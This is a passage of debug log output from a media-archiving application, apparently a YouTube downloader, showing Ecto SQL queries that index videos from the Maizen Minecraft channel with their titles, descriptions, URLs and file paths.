https://shop-maizen.myspreadshop.com/", "THE WORLD's STRICTEST TEST: The Movie", "6dfb342a-2575-487f-9a9f-3ffab062fdd2", "3RR5Sbesx6s", 5542, false, "https://www.youtube.com/watch?v=3RR5Sbesx6s", 8, "/downloads/shows/Maizen/Season 2026/s2026e061300 - THE WORLD's STRICTEST TEST: The Movie.mp4", false, false, false, 2, [], 98, ~U[2026-06-13 03:00:06Z], ~U[2026-08-20 00:34:28Z], ~U[2026-08-20 00:34:28Z], "Today, JJ and Mikey are preparing to take the Pro Doctor Exam! There's just one problem, the entry fee is one-million gold!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "THE WORLD's STRICTEST TEST: The Movie", "3RR5Sbesx6s", 5542, false, "https://www.youtube.com/watch?v=3RR5Sbesx6s", "/downloads/shows/Maizen/Season 2026/s2026e061300 - THE WORLD's STRICTEST TEST: The Movie.mp4", false, 2, ~U[2026-06-13 03:00:06Z]] 17:34:28.971 [debug] QUERY OK source="sources" db=0.3ms idle=4.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:34:28.972 [debug] QUERY OK source="media_items" db=1.3ms idle=4.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-06 03:00:06Z], 2] 17:34:28.974 [debug] QUERY OK source="media_items" db=1.7ms idle=4.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Mikey's been sent to prison for a crime he didn't commit! Even worse, he's been sentenced to Infinity Prison, the highest security, most inescapable prison in the world! Now it's up to JJ to help get Mikey out, and clear his name! But not everything is at it seems here...\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "THE WORLD's HIGHEST SECURITY PRISON: The Movie", "b228d405-11ca-459e-acd2-66432a1e97d7", "9ZPbk2Unu8A", 5036, false, "https://www.youtube.com/watch?v=9ZPbk2Unu8A", 9, "/downloads/shows/Maizen/Season 2026/s2026e060600 - THE WORLD's HIGHEST SECURITY PRISON: The Movie.mp4", false, false, false, 2, [], 98, ~U[2026-06-06 03:00:06Z], ~U[2026-08-20 00:34:28Z], ~U[2026-08-20 00:34:28Z], "Today, Mikey's been sent to prison for a crime he didn't commit! Even worse, he's been sentenced to Infinity Prison, the highest security, most inescapable prison in the world! Now it's up to JJ to help get Mikey out, and clear his name! But not everything is at it seems here...\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "THE WORLD's HIGHEST SECURITY PRISON: The Movie", "9ZPbk2Unu8A", 5036, false, "https://www.youtube.com/watch?v=9ZPbk2Unu8A", "/downloads/shows/Maizen/Season 2026/s2026e060600 - THE WORLD's HIGHEST SECURITY PRISON: The Movie.mp4", false, 2, ~U[2026-06-06 03:00:06Z]] 17:34:28.975 [debug] QUERY OK source="sources" db=0.3ms idle=5.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:34:28.976 [debug] QUERY OK source="media_items" db=1.3ms idle=4.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-01 07:16:54Z], 2] 17:34:28.978 [debug] QUERY OK source="media_items" db=0.7ms idle=5.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we've arrived in our new village! However, not everything is at it seems here. Every night, someone is killed, yikes! We have to find the culprit and put a stop to them!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Minecraft, But One Person Dies Every Day...", "c5a6eb8a-9d22-4150-ad93-f1365801dcbd", "RxEEQdWqH10", 3796, false, "https://www.youtube.com/watch?v=RxEEQdWqH10", 10, "/downloads/shows/Maizen/Season 2026/s2026e060100 - Minecraft, But One Person Dies Every Day....mp4", false, false, false, 2, [], 98, ~U[2026-06-01 07:16:54Z], ~U[2026-08-20 00:34:28Z], ~U[2026-08-20 00:34:28Z], "Today, we've arrived in our new village! However, not everything is at it seems here. Every night, someone is killed, yikes! We have to find the culprit and put a stop to them!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Minecraft, But One Person Dies Every Day...", "RxEEQdWqH10", 3796, false, "https://www.youtube.com/watch?v=RxEEQdWqH10", "/downloads/shows/Maizen/Season 2026/s2026e060100 - Minecraft, But One Person Dies Every Day....mp4", false, 2, ~U[2026-06-01 07:16:54Z]] 17:34:28.978 [debug] QUERY OK source="sources" db=0.2ms idle=5.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:34:28.980 [debug] QUERY OK source="media_items" db=1.3ms idle=3.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-29 07:42:34Z], 2] 17:34:28.981 [debug] QUERY OK source="media_items" db=0.7ms idle=4.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're playing PVP Roulette Hide and Seek! We'll take turns rolling the roulette machine, and using the awesome items we get to hide in this huge mansion! Who do you think is gonna win today?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "The Roulette of OP ITEM in Hide and Seek!", "a8a4eeaf-ace0-4c9f-ab95-2568c96a2e45", "n5lwtRSwTqY", 857, false, "https://www.youtube.com/watch?v=n5lwtRSwTqY", 11, "/downloads/shows/Maizen/Season 2026/s2026e052900 - The Roulette of OP ITEM in Hide and Seek!.mp4", false, false, false, 2, [], 98, ~U[2026-05-29 07:42:34Z], ~U[2026-08-20 00:34:28Z], ~U[2026-08-20 00:34:28Z], "Today, we're playing PVP Roulette Hide and Seek! We'll take turns rolling the roulette machine, and using the awesome items we get to hide in this huge mansion! Who do you think is gonna win today?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "The Roulette of OP ITEM in Hide and Seek!", "n5lwtRSwTqY", 857, false, "https://www.youtube.com/watch?v=n5lwtRSwTqY", "/downloads/shows/Maizen/Season 2026/s2026e052900 - The Roulette of OP ITEM in Hide and Seek!.mp4", false, 2, ~U[2026-05-29 07:42:34Z]] 17:34:28.981 [debug] QUERY OK source="sources" db=0.4ms idle=4.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:34:28.983 [debug] QUERY OK source="media_items" db=1.2ms idle=4.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-26 05:54:04Z], 2] 17:34:28.984 [debug] QUERY OK source="media_items" db=0.5ms idle=4.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're having a house on the water building competition! We'll both build houses in the ocean, and then compete to reach the treasure hidden deep on the ocean floor! Who's house was your favorite today?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "NOOB vs PRO: WATER HOUSE BUILD CHALLENGE in Minecraft", "f613f21a-07bc-4917-af7b-fbb2606f78b7", "m-eW0HpIFp0", 2291, false, "https://www.youtube.com/watch?v=m-eW0HpIFp0", 12, "/downloads/shows/Maizen/Season 2026/s2026e052600 - NOOB vs PRO: WATER HOUSE BUILD CHALLENGE in Minecraft.mp4", false, false, false, 2, [], 98, ~U[2026-05-26 05:54:04Z], ~U[2026-08-20 00:34:28Z], ~U[2026-08-20 00:34:28Z], "Today, we're having a house on the water building competition! We'll both build houses in the ocean, and then compete to reach the treasure hidden deep on the ocean floor! Who's house was your favorite today?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "NOOB vs PRO: WATER HOUSE BUILD CHALLENGE in Minecraft", "m-eW0HpIFp0", 2291, false, "https://www.youtube.com/watch?v=m-eW0HpIFp0", "/downloads/shows/Maizen/Season 2026/s2026e052600 - NOOB vs PRO: WATER HOUSE BUILD CHALLENGE in Minecraft.mp4", false, 2, ~U[2026-05-26 05:54:04Z]] 17:34:28.984 [debug] QUERY OK source="sources" db=0.1ms idle=4.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:34:28.985 [debug] QUERY OK source="media_items" db=1.2ms idle=3.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-23 01:41:39Z], 2] 17:34:28.986 [debug] QUERY OK source="media_items" db=0.6ms idle=4.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're playing Speedrunner vs Hunter, with a twist! JJ has a super overpowered Ironman suit! He can shoot lasers, see through walls, and even fly! This is awesome! With armor this powerful, JJ is unstoppable!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "OVERPOWERED IRONMAN Speedrunner VS Hunter in Minecraft", "a77c8200-169b-457e-afb6-4cb52f7898f3", "G0WIo8d6jaQ", 1140, false, "https://www.youtube.com/watch?v=G0WIo8d6jaQ", 13, "/downloads/shows/Maizen/Season 2026/s2026e052300 - OVERPOWERED IRONMAN Speedrunner VS Hunter in Minecraft.mp4", false, false, false, 2, [], 98, ~U[2026-05-23 01:41:39Z], ~U[2026-08-20 00:34:28Z], ~U[2026-08-20 00:34:28Z], "Today, we're playing Speedrunner vs Hunter, with a twist! JJ has a super overpowered Ironman suit! He can shoot lasers, see through walls, and even fly! This is awesome! With armor this powerful, JJ is unstoppable!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "OVERPOWERED IRONMAN Speedrunner VS Hunter in Minecraft", "G0WIo8d6jaQ", 1140, false, "https://www.youtube.com/watch?v=G0WIo8d6jaQ", "/downloads/shows/Maizen/Season 2026/s2026e052300 - OVERPOWERED IRONMAN Speedrunner VS Hunter in Minecraft.mp4", false, 2, ~U[2026-05-23 01:41:39Z]] 17:34:28.987 [debug] QUERY OK source="sources" db=0.5ms idle=3.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:34:28.989 [debug] QUERY OK source="media_items" db=1.2ms idle=3.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-22 07:13:54Z], 2] 17:34:28.990 [debug] QUERY OK source="media_items" db=0.6ms idle=4.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're starting a new Minecraft survival playthrough! Join us as we explore new biomes, build awesome bases, and take down the many enemies in Minecraft!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Minecraft", "6d803af1-72ab-45c8-8f46-9a4466db8a6c", "hRyqA0Yp7pY", 25255, false, "https://www.youtube.com/watch?v=hRyqA0Yp7pY", 14, "/downloads/shows/Maizen/Season 2026/s2026e052200 - Minecraft.mp4", false, false, false, 2, [], 98, ~U[2026-05-22 07:13:54Z], ~U[2026-08-20 00:34:28Z], ~U[2026-08-20 00:34:28Z], "Today, we're starting a new Minecraft survival playthrough! Join us as we explore new biomes, build awesome bases, and take down the many enemies in Minecraft!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Minecraft", "hRyqA0Yp7pY", 25255, false, "https://www.youtube.com/watch?v=hRyqA0Yp7pY", "/downloads/shows/Maizen/Season 2026/s2026e052200 - Minecraft.mp4", false, 2, ~U[2026-05-22 07:13:54Z]] 17:34:28.990 [debug] QUERY OK source="sources" db=0.2ms idle=4.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:34:28.992 [debug] QUERY OK source="media_items" db=1.3ms idle=4.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-17 03:07:57Z], 2] 17:34:28.993 [debug] QUERY OK source="media_items" db=0.7ms idle=4.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're in big trouble! Our world is about to be flooded, and turned into an endless ocean! We don't have much time, we have to hurry and prepare submarines capable of withstanding the immense pressure of the endless ocean before it's too late!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "NOOB vs PRO: SAFEST SUBMARINE HOUSE TO PROTECT FAMILY!!", "7cc001a2-44c4-4ce2-b206-548abe495a01", "gu_xiQyFWhs", 2386, false, "https://www.youtube.com/watch?v=gu_xiQyFWhs", 15, "/downloads/shows/Maizen/Season 2026/s2026e051700 - NOOB vs PRO: SAFEST SUBMARINE HOUSE TO PROTECT FAMILY!!.mp4", false, false, false, 2, [], 98, ~U[2026-05-17 03:07:57Z], ~U[2026-08-20 00:34:28Z], ~U[2026-08-20 00:34:28Z], "Today, we're in big trouble! Our world is about to be flooded, and turned into an endless ocean! We don't have much time, we have to hurry and prepare submarines capable of withstanding the immense pressure of the endless ocean before it's too late!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "NOOB vs PRO: SAFEST SUBMARINE HOUSE TO PROTECT FAMILY!!", "gu_xiQyFWhs", 2386, false, "https://www.youtube.com/watch?v=gu_xiQyFWhs", "/downloads/shows/Maizen/Season 2026/s2026e051700 - NOOB vs PRO: SAFEST SUBMARINE HOUSE TO PROTECT FAMILY!!.mp4", false, 2, ~U[2026-05-17 03:07:57Z]] 17:34:28.993 [debug] QUERY OK source="sources" db=0.2ms idle=4.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:34:28.995 [debug] QUERY OK source="media_items" db=1.2ms idle=3.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-16 03:25:23Z], 2] 17:34:28.996 [debug] QUERY OK source="media_items" db=0.6ms idle=4.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, JJ and Mikey have stumbled upon a shady salesman. He says that pushing this button will give you free cake, but you're be trapped in an alternate dimension for 500 Million years! That can't really be true...can it?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "500 Million Year Button", "7e7e61b0-b514-467e-ad5f-2e281398d8de", "sbn-vC02XcE", 915, false, "https://www.youtube.com/watch?v=sbn-vC02XcE", 16, "/downloads/shows/Maizen/Season 2026/s2026e051600 - 500 Million Year Button.mp4", false, false, false, 2, [], 98, ~U[2026-05-16 03:25:23Z], ~U[2026-08-20 00:34:28Z], ~U[2026-08-20 00:34:28Z], "Today, JJ and Mikey have stumbled upon a shady salesman. He says that pushing this button will give you free cake, but you're be trapped in an alternate dimension for 500 Million years! That can't really be true...can it?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "500 Million Year Button", "sbn-vC02XcE", 915, false, "https://www.youtube.com/watch?v=sbn-vC02XcE", "/downloads/shows/Maizen/Season 2026/s2026e051600 - 500 Million Year Button.mp4", false, 2, ~U[2026-05-16 03:25:23Z]] 17:34:28.996 [debug] QUERY OK source="sources" db=0.3ms idle=4.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:34:28.998 [debug] QUERY OK source="media_items" db=1.2ms idle=3.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-13 03:45:03Z], 2] 17:34:28.999 [debug] QUERY OK source="media_items" db=0.7ms idle=4.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're playing Speedrunner vs Hunter, with a twist! JJ can morph into all sorts of different mobs, awesome! Over time, JJ will unlock new mobs to transform into, what kinds of useful mobs will JJ turn into?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "MUTANT Speedrunners VS Hunter in Minecraft", "f000c43f-4761-4cde-aebd-54dc9a1e0faa", "5bH1T7ZwmjA", 955, false, "https://www.youtube.com/watch?v=5bH1T7ZwmjA", 17, "/downloads/shows/Maizen/Season 2026/s2026e051300 - MUTANT Speedrunners VS Hunter in Minecraft.mp4", false, false, false, 2, [], 98, ~U[2026-05-13 03:45:03Z], ~U[2026-08-20 00:34:28Z], ~U[2026-08-20 00:34:28Z], "Today, we're playing Speedrunner vs Hunter, with a twist! JJ can morph into all sorts of different mobs, awesome! Over time, JJ will unlock new mobs to transform into, what kinds of useful mobs will JJ turn into?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "MUTANT Speedrunners VS Hunter in Minecraft", "5bH1T7ZwmjA", 955, false, "https://www.youtube.com/watch?v=5bH1T7ZwmjA", "/downloads/shows/Maizen/Season 2026/s2026e051300 - MUTANT Speedrunners VS Hunter in Minecraft.mp4", false, 2, ~U[2026-05-13 03:45:03Z]] 17:34:28.999 [debug] QUERY OK source="sources" db=0.3ms idle=4.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:34:29.001 [debug] QUERY OK source="media_items" db=1.2ms idle=3.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-10 22:16:00Z], 2] 17:34:29.002 [debug] QUERY OK source="media_items" db=0.6ms idle=4.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're having a Murder House building competition! We'll both build spooky houses, and try to capture each other in our traps!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Minecraft NOOB vs PRO: KILLER HOUSE BUILD CHALLENGE", "51d914e4-b16e-4691-a104-fe2c5bff4e4c", "hvMewRuugus", 1743, false, "https://www.youtube.com/watch?v=hvMewRuugus", 18, "/downloads/shows/Maizen/Season 2026/s2026e051000 - Minecraft NOOB vs PRO: KILLER HOUSE BUILD CHALLENGE.mp4", false, false, false, 2, [], 98, ~U[2026-05-10 22:16:00Z], ~U[2026-08-20 00:34:29Z], ~U[2026-08-20 00:34:29Z], "Today, we're having a Murder House building competition! We'll both build spooky houses, and try to capture each other in our traps!\n\nWe hope you enjoy 